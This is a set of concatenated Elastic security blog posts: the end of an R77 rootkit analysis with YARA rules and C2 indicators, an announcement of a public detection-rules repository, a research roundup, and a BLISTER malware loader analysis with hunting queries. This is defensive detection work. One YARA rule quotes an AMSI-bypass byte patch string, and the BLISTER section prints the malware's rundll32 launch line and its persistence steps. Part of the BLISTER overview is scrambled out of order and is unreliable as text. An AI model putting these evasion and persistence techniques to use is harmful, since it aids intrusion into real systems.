$a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Rootkit_R77_3 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-09"
|
||||
last_modified = "2023-05-09"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6"
|
||||
|
||||
strings:
|
||||
$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }
|
||||
$a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Rootkit_R77_4 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-18"
|
||||
last_modified = "2023-05-18"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796"
|
||||
|
||||
strings:
|
||||
$a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }
|
||||
condition:
|
||||
$a
|
||||
}
|
||||
|
||||
rule Windows_Rootkit_R77_5 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-18"
|
||||
last_modified = "2023-05-18"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60"
|
||||
|
||||
strings:
|
||||
$r77_str0 = "$77stager" wide fullword
|
||||
$r77_str1 = "$77svc32" wide fullword
|
||||
$r77_str2 = "$77svc64" wide fullword
|
||||
$r77_str3 = "\\\\.\\pipe\\$77childproc64" wide fullword
|
||||
$r77_str4 = "SOFTWARE\\$77config"
|
||||
$obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }
|
||||
$amsi_patch_ps = "[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)" wide fullword
|
||||
condition:
|
||||
($obfuscate_ps and $amsi_patch_ps) or (all of ($r77_str*))
|
||||
}
|
||||
|
||||
rule Windows_Rootkit_R77_6 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-05-18"
|
||||
last_modified = "2023-05-18"
|
||||
license = "Elastic License v2"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Rootkit"
|
||||
family = "R77"
|
||||
threat_name = "Windows.Rootkit.R77"
|
||||
reference_sample = "96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89"
|
||||
|
||||
strings:
|
||||
$str0 = "service_names" wide fullword
|
||||
$str1 = "process_names" wide fullword
|
||||
$str2 = "tcp_local" wide fullword
|
||||
$str3 = "tcp_remote" wide fullword
|
||||
$str4 = "startup" wide fullword
|
||||
$str5 = "ReflectiveDllMain" ascii fullword
|
||||
$str6 = ".detourd" ascii fullword
|
||||
$binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }
|
||||
$binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }
|
||||
condition:
|
||||
(all of ($str*)) or $binary0 or $binary1
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research
|
||||
|
||||
- [https://github.com/microsoft/Detours](https://github.com/microsoft/Detours)
|
||||
- [https://github.com/xmrig/xmrig](https://github.com/xmrig/xmrig)
|
||||
- [https://ru.wikipedia.org/wiki/Remote_Manipulator_System](https://ru.wikipedia.org/wiki/Remote_Manipulator_System)
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/r77) in both ECS and STIX format.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Indicator | Type | Name | Reference |
|
||||
| ---------------------------------------------------------------- | ------- | --------------- | --------------------------------------- |
|
||||
| msupdate[.]info | Domain | n/a | C2 |
|
||||
| 5.133.65.53 | IPV4 | n/a | C2 |
|
||||
| 5.133.65.54 | IPV4 | n/a | C2 |
|
||||
| 5.133.65.55 | IPV4 | n/a | C2 |
|
||||
| 5.133.65.56 | IPV4 | n/a | C2 |
|
||||
| 916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60 | SHA-256 | $77_Install.exe | Installer module |
|
||||
| 9fb38412cac94255a3abbec80f15620098a0c85247690850c302a9ff060b5c0c | SHA-256 | n/a | Stager module |
|
||||
| 96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89 | SHA-256 | n/a | 64 bit core module |
|
||||
| aeb6a7b9ca890dc08259d7c239eb188e466210d48a17640671cba398bf69392f | SHA-256 | n/a | 32 bit core module |
|
||||
| 91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796 | SHA-256 | n/a | 64 bit service module |
|
||||
| 29bc88a316e3f34ed29c5358e459b9fbf3b7962a72cac388ab5c977dd990ea77 | SHA-256 | n/a | 32 bit Service module |
|
||||
| 10165e27e0db0a6708f346ddea657ab0409499f93eb8426a80864a966f0f401e | SHA-256 | RMS.exe | Remote Manipulator System(RMS) |
|
||||
| 757fa687a9b4d461ffda78d93e4d812003307a9b9747dce7fb469625429cc551 | SHA-256 | $77_oracle.exe | XMRIG miner |
|
||||
| a7e31abe10be6bca44f0a846d631e578efe78c14f6bf1cf834cfb15469fc1d3a | SHA-256 | $77_Loader.exe | .NET binary loading a PowerShell script |
|
|
@ -0,0 +1,91 @@
|
|||
---
|
||||
title: "Elastic Security opens public detection rules repo"
|
||||
slug: "elastic-security-opens-public-detection-rules-repo"
|
||||
date: "2022-05-20"
|
||||
description: "Elastic Security has opened its detection rules repository to the world. We will develop rules in the open alongside the community, and we’re welcoming your community-driven detections. This is an opportunity to share collective security knowledge."
|
||||
author:
|
||||
- slug: ross-wolf
|
||||
- slug: elastic-security-intelligence-analytics-team
|
||||
image: "blog-thumb-gears-steel.jpg"
|
||||
category:
|
||||
---
|
||||
|
||||
At Elastic, we believe in the [power of open source](https://www.elastic.co/about/why-open-source) and understand the importance of community. By putting the community first, we ensure that we create the best possible product for our users. With Elastic Security, [two of our core objectives](https://www.elastic.co/security) are to _stop threats at scale_ and _arm every analyst_. Today, we’re opening up a new GitHub repository, [elastic/detection-rules](https://github.com/elastic/detection-rules), to work alongside the security community, stopping threats at a greater scale.
|
||||
|
||||
The release of the [detection engine](https://www.elastic.co/blog/elastic-siem-detections) in Elastic Security brought [automated threat detection](https://www.elastic.co/security/automated-threat-protection) to the Elastic Stack. Since the initial launch of the detection engine, the Elastic Security Intelligence & Analytics team has added 50+ additional rules, increasing the visibility of attacker techniques on Linux, macOS, and Windows operating systems. As we continue to expand coverage, you’ll see increased breadth in detections, covering new domains such as cloud services and user behavior.
|
||||
|
||||
Over the past few releases, we used an internal repository to manage rules for the detection engine. We’ve iteratively improved our testing procedures by adding automated tests for new contributions that validate Kibana Query Language (KQL) syntax, schema usage, and other metadata. Our rule development has matured, so we can move fast _without_ breaking things.
|
||||
|
||||
By opening up our [elastic/detection-rules](https://github.com/elastic/detection-rules) GitHub repository, Elastic Security will develop rules in the open alongside the community, and we’re welcoming your community-driven detections. This is an opportunity for all of us to share our collective knowledge, learn from each other, and make an impact by working together.
|
||||
|
||||
## What’s in this new repository?
|
||||
|
||||
In the [elastic/detection-rules](https://github.com/elastic/detection-rules) GitHub repository, you can find rules written for Elastic Security, with coverage for many [MITRE ATT&CK](https://attack.mitre.org/)® techniques. Our current rule logic is primarily written in [KQL](https://www.elastic.co/guide/en/kibana/master/kuery-query.html), and by leveraging the [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html), we only need to write rules once. By using the defined fields and categories in ECS, rules automatically work with Beats logs and other data sources that map properly to ECS.
|
||||
|
||||
Within the [rules/](https://github.com/elastic/detection-rules/tree/main/rules) folder, rules are stored in TOML files and are grouped by platform. We tried to keep it simple with a flat hierarchy so that it’s easier to find and add new rules. If you’re looking for Windows-only rules, navigate to [rules/windows](https://github.com/elastic/detection-rules/tree/main/rules/windows). If you’re still struggling to find a rule or want to search across rules, you can use our CLI by running the command python -m detection_rules rule-search, which will show the files that have matching metadata.
|
||||
|
||||
Every rule contains several fields of metadata in addition to the query itself. This captures information like the title, description, noise level, ATT&CK mappings, tags, and the scheduling interval. We have a few additional fields to aid analysts performing triage, describing known false positives or helpful steps for an investigation. For more information on the metadata that pertains to rules, see the [Kibana rule creation guide](https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#create-rule-ui) or our [summary of rule metadata](https://github.com/elastic/detection-rules/blob/main/CONTRIBUTING.md#rule-metadata) in the contribution guide.
|
||||
|
||||

|
||||
|
||||
Preview of the file behind the “MsBuild Making Network Connections” rule
|
||||
|
||||
## How do these rules get to my detection engine?
|
||||
|
||||
If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine. When you upgrade, the detection engine recognizes that rules were added or changed and [prompts](https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#load-prebuilt-rules) you to decide whether you want those rules upgraded. Follow the steps after upgrading and you’ll get the latest copy of the rules.
|
||||
|
||||

|
||||
|
||||
The same rule — “MsBuild Making Network Connections” — loaded in the detection engine
|
||||
|
||||
## Who will use this repository?
|
||||
|
||||
This repository is where the Elastic Security Intelligence & Analytics team will develop rules, create issues, manage pull requests, and target releases. By making the repo public, we’re inviting all external contributors into this workflow. This will give contributors visibility into our development process and a clear path for rules to be released with the detection engine.
|
||||
|
||||
When you’re ready to contribute, please sign Elastic's [contributor license agreement (CLA)](https://www.elastic.co/contributor-agreement). This is standard for all Elastic GitHub repositories, and it means that we freely can distribute your code to Elastic users.
|
||||
|
||||
## How do we approach threat detection?
|
||||
|
||||
In general, we tend to prefer detections that focus on adversary behaviors. This usually means that we focus on ATT&CK techniques. This might mean more research and effort is needed to figure out how a technique works before creating a rule. But by taking this approach, we do a better job detecting and stopping the attacks of today and tomorrow, instead of just the attacks of yesterday.
|
||||
|
||||
Taking a behavioral approach also means we need various types of rules. Some might detect atomic events, others may require aggregating multiple events or looking for deviances above a threshold. With [Event Query Language (EQL)](https://eql.readthedocs.io), we will be able to write rules that look for sequences of behavior that span multiple events.
|
||||
|
||||
Of course, we understand that sometimes a technique can be hard for all users to detect behaviorally. In that case, by all means, feel free to add a rule that is more signature-like in nature and written towards a specific behavior or tool.
|
||||
|
||||
For a longer discussion on what makes a mature detection, read about the philosophy [of the detection rules repository](https://github.com/elastic/detection-rules/tree/main/PHILOSOPHY.md).
|
||||
|
||||
## Why do we need a new repository?
|
||||
|
||||
If you’ve shared public rules before, you’re probably aware of other well-known GitHub repositories, like the [Cyber Analytics Repository (CAR)](https://github.com/mitre-attack/car) by MITRE, [Sigma](https://github.com/Neo23x0/sigma), or even the [EQL Analytics Library](https://eqllib.readthedocs.io) based on Elastic’s EQL. You might be wondering: _Why do we need another repository? Why not use the ones that already exist?_
|
||||
|
||||
Unsurprisingly, the best answer to this question starts with another question: _Why do the other repositories exist?_ Both CAR and Sigma are purposefully agnostic of language or platform, and sometimes data source. On the other hand, the EQL Analytics Library was written with a specific language in mind.
|
||||
|
||||
With our new detection rules repository, we’re trying to serve a slightly different purpose. Our goal is to give users of Elastic Security the best possible detections that work across various data sources. We use ECS as the great equalizer of schemas, making it possible to write a rule once that applies to multiple data sources.
|
||||
|
||||
Since the Elastic Stack supports multiple languages, our rules should reflect that. Query languages are typically developed to solve different types of problems, and we shouldn’t constrain rule developers to a single language if another does the job better. We currently have [KQL](https://www.elastic.co/guide/en/kibana/master/kuery-query.html) and [Lucene](https://www.elastic.co/guide/en/kibana/current/lucene-query.html) rules, along with rules that use [machine learning anomaly detection](https://www.elastic.co/guide/en/machine-learning/6.8/ml-jobs.html) jobs in the repository. We’re [working hard](https://github.com/elastic/elasticsearch/issues/49581) to bring [EQL](https://eql.readthedocs.io) to the Elastic Stack and into our repository.
|
||||
|
||||
We can also ensure best practices are being followed for optimal Elasticsearch performance. For example, searching for process.path:\*\\\\cmd.exe requires performing a wildcard check, which is more costly than a simple keyword check. Instead of searches containing leading wildcards, we can recommend using process.name:cmd.exe, which will result in better performance and the most accurate results. On a similar note, ECS also contains the field process.args, which is a parsed version of process.command_line. We recommend using the parsed field instead, because it gives us better performance and means that we are much less prone to [trivial whitespace or quotation-based evasions](https://github.com/elastic/detection-rules/blob/main/PHILOSOPHY.md#does-a-rule-have-trivial-evasions). Win-win.
|
||||
|
||||
## Can I add rules from another repository?
|
||||
|
||||
Within your own environment, you’re welcome to add rules to your own detection engine as long as your Kibana role has the right permissions. If you want to add rules to the [elastic/detection-rules](https://github.com/elastic/detection-rules) repository, the answer is an unsurprising: [_It depends..._](https://www.elastic.co/blog/it-depends)_._ As long as a rule can be sublicensed under the Elastic License, this is fair game. Most of the time, the requirements are fairly straightforward — retain the original authors in the rule.author array, and update the NOTICE.txt file accordingly to give attribution to the original authors. We don’t want to take credit for someone else’s work, so please help us be thorough!
|
||||
|
||||
For more information on how we approach licensing in the repository, check the [Licensing](https://github.com/elastic/detection-rules#licensing) section of the README.
|
||||
|
||||
## How do I contribute?
|
||||
|
||||
Eager to share your rule logic? Hop on over to [elastic/detection-rules](https://github.com/elastic/detection-rules) on GitHub. We have detailed instructions there for navigating the repository, forking and cloning, and creating a rule. We include a command line tool for bulk editing the files and to make creating new rules easier. When you’re ready to add a new rule to the repository, run python -m detection_rules create-rule, and you’ll be prompted for the required metadata. We recommend using the CLI when possible, because it reduces copy-and-paste errors that happen when reusing contents from a TOML file from another rule or template.
|
||||
|
||||
When your rule is in a good state, you can run the command python -m detection_rules test to locally perform unit tests, which validate syntax, schema usage, etc. Then, create the pull request and someone on the Intelligence & Analytics team will review the contribution. If we request any changes, we’ll work with you to make the recommended changes.
|
||||
|
||||
If you have a good idea for a rule, but want to collaborate with us on the idea or get feedback, feel free to create a [New Rule](https://github.com/elastic/detection-rules/issues/new/choose) issue. We look forward to helping and brainstorming with you!
|
||||
|
||||
For more information, check out the [contribution](https://github.com/elastic/detection-rules/tree/main/CONTRIBUTING.md) guide.
|
||||
|
||||
## What’s next?
|
||||
|
||||
Welcome to our new rules repository and workflow! Your contributions are encouraged, and we look forward to seeing your name in the rule.author field. The detection rules repository will continue to evolve along with the rest of Elastic Security, and we’re excited for what’s next.
|
||||
|
||||
If you want to track the development of EQL in the stack, subscribe to this [GitHub issue](https://github.com/elastic/elasticsearch/issues/49581). Or take a peek at the [ongoing documentation](https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html) to watch what the Elasticsearch team is up to.
|
||||
|
||||
If you have any feedback or questions writing rules or navigating our new [detection rules](https://github.com/elastic/detection-rules) GitHub repository, please [create an issue](https://github.com/elastic/detection-rules/issues/new/choose) in GitHub, reach out on the [discussion forum](https://discuss.elastic.co/c/security) with the _detection-rules_ tag, or find us in the _#detection-rules_ channel of the [Elastic Slack Community](http://ela.st/slack).
|
|
@ -0,0 +1,38 @@
|
|||
---
|
||||
title: "Elastic Security Research Roundup"
|
||||
slug: "elastic-security-research-roundup"
|
||||
date: "2022-09-09"
|
||||
description: "Elastic Security Intelligence and Analytics researches and investigates threat actors, malware, campaigns, or a specific intrusion. We’ll highlight recent research about Log4j, BLISTER, Cobalt Strike, and Operation Bleeding Bear."
|
||||
author:
|
||||
- slug: elastic-security-team
|
||||
image: "blog-thumb-blind-spots.png"
|
||||
category:
|
||||
---
|
||||
|
||||
The job of researching the latest vulnerabilities, campaigns, attack patterns, and threat actors is never complete. The [Elastic Security Intelligence and Analytics team’s](https://github.com/elastic/security-research) charter is to democratize access to knowledge and capabilities. We believe doing so is the key to changing the threat landscape and we publish this information to educate Elastic customers and the larger security community.
|
||||
|
||||
Our security team researches and publishes information about malware, threat actors, campaigns, attack patterns, and specific vulnerabilities. Here’s a roundup of our latest findings and how to protect your organization.
|
||||
|
||||
## Log4j vulnerability research
|
||||
|
||||
Quickly after the Log4j vulnerability was released, Elastic provided guidance on how to find the [Log4Shell vulnerability](https://www.elastic.co/blog/log4j2-vulnerability-what-to-know-security-vulnerability-learn-more-elastic-support) using the Elastic Security and Observability solutions. Log4sh impacted organizations from Minecraft to Oracle during one of the busiest vacation seasons. Elastic researched the vulnerability and published more than four articles about this threat quickly as the threat unfolded, including a [response and analysis](https://www.elastic.co/blog/analysis-of-log4shell-cve-2021-45046?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j) on the security flaw itself and an up-to-date blog on [how to detect log4j2 exploits using Elastic Security](https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=detecting+log4j2+blog). As this threat continues to unfold, so will the research from Elastic on the topic.
|
||||
|
||||
## BLISTER malware campaign campaign, identified by Elastic Security
|
||||
|
||||
The Elastic Security Intelligence and Analytics team recently uncovered the [BLISTER malware campaign](https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign) and delivered the first research about this campaign. Elastic researchers uncovered a novel malware loader, BLISTER, that was used to execute second-stage, in-memory malware payloads and maintain persistence during the campaign execution — leveraging valid code signing certificates to evade detection.
|
||||
|
||||
At the time of the research being published, VirusTotal had very low or no detections active for the identified malware samples. After the research was published, VirusTotal and other security vendors began tagging actions from this malware campaign as suspicious.
|
||||
|
||||
## Beaconing malware attacks
|
||||
|
||||
Beaconing software can be difficult to detect. Elastic researchers have recently written several articles about this type of command and control communication and how to identify it. The Elastic team recently published research about how to [find and respond to Cobalt Strike beaconing attacks](https://www.elastic.co/blog/bringing-home-the-beacon-cobalt-strike). Additionally, the team provided a detailed how-to article on how to [find beaconing malware with Elastic](https://www.elastic.co/blog/identifying-beaconing-malware-using-elastic).
|
||||
|
||||
## Operation Bleeding Bear
|
||||
|
||||
Elastic research also recently verified malware attacking the Ukraine government, [Operation Bleeding Bear](https://www.elastic.co/blog/elastic-security-verifies-operation-bleeding-bear). After the vulnerability had been identified publicly, Elastic quickly verified the evasive malware and published research to alert Elastic customers and the security industry as a whole.
|
||||
|
||||
## Threats yet discovered…
|
||||
|
||||
The Elastic Security Intelligence and Analytics team continues to research and respond to groundbreaking threats in its mission to help Elastic customers and the broader security community. If you’re using [Elastic Security](https://www.elastic.co/security?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=elastic+security) already, you can expect to see our latest findings in the newsfeed within the platform. We’ll also post our latest findings on [elastic.co/blog](https://www.elastic.co/blog).
|
||||
|
||||
Did you know that you can get started with a free [14-day trial of Elastic Cloud](https://cloud.elastic.co/registration?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=trail)? Or [download](https://www.elastic.co/downloads/?utm_source=log4j+hub+blog&utm_medium=embed+link&utm_campaign=log4j_hub_blog&utm_id=log4j&utm_content=download) the self-managed version of the Elastic Stack for free.
|
|
@ -0,0 +1,215 @@
|
|||
---
|
||||
title: "Elastic Security uncovers BLISTER malware campaign"
|
||||
slug: "elastic-security-uncovers-blister-malware-campaign"
|
||||
date: "2022-08-03"
|
||||
description: "Elastic Security has identified active intrusions leveraging the newly identified BLISTER malware loader utilizing valid code-signing certificates to evade detection. We are providing detection guidance for security teams to protect themselves."
|
||||
author:
|
||||
- slug: joe-desimone
|
||||
- slug: samir-bousseaden
|
||||
image: "blog-security-timeseries-radar-720x420.png"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
---
|
||||
|
||||
## Key takeaways:
|
||||
|
||||
- Elastic Security uncovered a stealthy malware campaign that leverages valid code signing certificates to evade detection
|
||||
- A novel malware loader, BLISTER was used to execute second stage malware payloads in-memory and maintain persistence
|
||||
- The identified malware samples have very low or no detections on VirusTotal
|
||||
- Elastic provided layered prevention coverage from this threat out of the box
|
||||
|
||||
> For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:
|
||||
>
|
||||
> - [BLISTER Malware Analysis](https://www.elastic.co/security-labs/blister-loader)
|
||||
> - [BLISTER Configuration Extractor](https://www.elastic.co/security-labs/blister-configuration-extractor)
|
||||
|
||||
## Overview
|
||||
|
||||
The Elastic Security team identified a noteworthy cluster of malicious activity after reviewing our threat prevention telemetry. A valid code signing certificate is used to sign malware to help the attackers remain under the radar of the security community. We also discovered a novel malware loader used in the campaign, which we’ve named BLISTER. The majority of the malware samples observed have very low, or no, detections in
|
||||
|
||||
Elastic’s layered approach to preventing attacks protects from this and similar threats.
|
||||
|
||||
In one prevented attack, our malicious behavior prevention triggered multiple high-confidence alerts for _Execution via Renamed Signed Binary Proxy_, _Windows Error Manager/Reporting Masquerading_, and _Suspicious PowerShell Execution via Windows Scripts_. Further, our memory threat prevention identified and stopped BLISTER from injecting its embedded payload to target processes.
|
||||
|
||||
Finally, we have additional coverage from our open source detection engine rules [
|
||||
|
||||
## Details
|
||||
|
||||
#### Certificate abuse
|
||||
|
||||
A key aspect of this campaign is the use of a valid code signing certificate issued by
|
||||
|
||||
We responsibly disclosed the activity to Sectigo so they could take action and revoke the abused certificates. Below shows details about the compromised certificate. We have observed malware signed with this certificate as early as September 15, 2021.
|
||||
|
||||
Issuer: _Sectigo Public Code Signing CA R36_Issued to: \_Blist LLC_Serial number: \_2f4a25d52b16eb4c9dfe71ebbd8121bb_Valid from: _Monday, August 23, 2021 4:00:00 PM_Valid to: _Wednesday, August 24, 2022 3:59:59 PM_
|
||||
|
||||
[VirusTotal](https://www.virustotal.com/). The infection vector and goals of the attackers remain unknown at this time.[1](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_masquerading_werfault.toml)] [[2](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_powershell.toml)]. To ensure coverage for the entire community, we are including YARA rules and IoCs to help defenders identify impacted systems.[Sectigo](https://sectigo.com/ssl-certificates-tls/code-signing). Adversaries can either steal legitimate code-signing certificates or purchase them from a certificate authority directly or through front companies. Executables with valid code signing certificates are often scrutinized to a lesser degree than unsigned executables. Their use allows attackers to remain under the radar and evade detection for a longer period of time.
|
||||
|
||||

|
||||
|
||||
#### BLISTER malware loader
|
||||
|
||||
Another interesting aspect of this campaign is what appears to be a novel malware loader with limited detections in VirusTotal. We refer to it as the BLISTER loader. The loader is spliced into legitimate libraries such as [colorui.dll](https://www.virustotal.com/gui/file/bf356c43e4f9fd1fa4e00fe276cedcba4b08905051c2c621276f36ba332bff1d/detection), likely to ensure the majority of the on-disk footprint has known-good code and metadata. The loader can be initially written to disk from simple dropper executables. [One](https://www.virustotal.com/gui/file/ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a) such dropper writes a signed BLISTER loader to _%temp%\Framwork\axsssig.dll_ and executes it with _rundll32_. _LaunchColorCpl_ is a common DLL export and entry point name used by BLISTER as seen in the command line parameters:
|
||||
|
||||
```
|
||||
Rundll32.exe C:\Users\user\AppData\Local\Temp\Framwork\axsssig.dll,LaunchColorCpl
|
||||
```
|
||||
|
||||
Once executed, BLISTER decodes bootstrapping code stored in the resource section with a simple 4-byte XOR routine shown below:
|
||||
|
||||

|
||||
|
||||
The bootstrapping code is heavily obfuscated and initially sleeps for 10 minutes. This is likely an attempt to evade sandbox analysis. After the delay, it decrypts the embedded malware payload. We have observed CobaltStrike and BitRat as embedded malware payloads. Once decrypted, the embedded payload is loaded into the current process or injected into a newly spawned _WerFault.exe_ process.
|
||||
|
||||
Finally, BLISTER establishes persistence by copying itself to the _C:\ProgramData_ folder, along with a re-named local copy of _rundll32.exe_. A link is created in the current user’s Startup folder to launch the malware at logon as a child of _explorer.exe._
|
||||
|
||||
## YARA
|
||||
|
||||
We have created a YARA rule to identify this BLISTER activity:
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Blister{
|
||||
meta:
|
||||
author = “Elastic Security”
|
||||
creation_date = "2021-12-20"
|
||||
last_modified = "2021-12-20"
|
||||
os = "Windows"
|
||||
category_type = "Trojan"
|
||||
family = "Blister"
|
||||
threat_name = "Windows.Trojan.Blister"
|
||||
reference_sample = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"
|
||||
|
||||
strings:
|
||||
$a1 = {8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7}
|
||||
$a2 = {75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75}
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
|
||||
## Defensive recommendations
|
||||
|
||||
### Elastic Endpoint Alerts
|
||||
|
||||
Elastic [Endpoint Security](https://www.elastic.co/endpoint-security/) provides deep coverage for this threat by stopping the in-memory thread execution and preventing malicious behaviors.
|
||||
|
||||
**Memory Threat Detection Alert: Shellcode Injection**
|
||||
|
||||

|
||||
|
||||
**Malicious Behavior Detection Alert: Execution via Renamed Signed Binary Proxy**
|
||||
|
||||

|
||||
|
||||
## Hunting queries
|
||||
|
||||
These queries can be used in Kibana's Security -\\> Timelines -\\> Create new timeline -\\> Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.
|
||||
|
||||
**Proxy Execution via Renamed Rundll32**
|
||||
|
||||
Hunt for renamed instances of _rundll32.exe_
|
||||
|
||||
```
|
||||
process where event.action == "start" and
|
||||
process.name != null and
|
||||
(process.pe.original_file_name == "RUNDLL32.EXE" and not process.name : "RUNDLL32.EXE")
|
||||
```
|
||||
|
||||
**Masquerading as WerFault**
|
||||
|
||||
Hunt for potential rogue instances of WerFault.exe (Windows Errors Reporting) in an attempt to masquerade as a legitimate system process that is often excluded from behavior-based detection as a known frequent false positive:
|
||||
|
||||
```
|
||||
process where event.action == "start" and
|
||||
process.executable :
|
||||
("?:\\Windows\\Syswow64\\WerFault.exe" ,"?:\\Windows\\System32\\WerFault.exe") and
|
||||
/*
|
||||
legit WerFault will have more than one argument in process.command_line
|
||||
*/
|
||||
process.args_count == 1
|
||||
```
|
||||
|
||||

|
||||
|
||||
**Persistence via Registry Run Keys / Startup Folder**
|
||||
|
||||
Malware creates a new run key for persistence:
|
||||
|
||||
```
|
||||
registry where registry.data.strings != null and
|
||||
registry.path : (
|
||||
/* Machine Hive */ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*",
|
||||
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*",
|
||||
|
||||
/* Users Hive */
|
||||
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*",
|
||||
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*"
|
||||
)
|
||||
```
|
||||
|
||||

|
||||
|
||||
**Suspicious Startup Shell Folder Modification**
|
||||
|
||||
Modify the default Startup value in the registry via COM (dllhost.exe) and then write a shortcut file for persistence in the new modified Startup folder:
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=1m
|
||||
[registry where
|
||||
/* Modify User default Startup Folder */
|
||||
registry.path : (
|
||||
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup",
|
||||
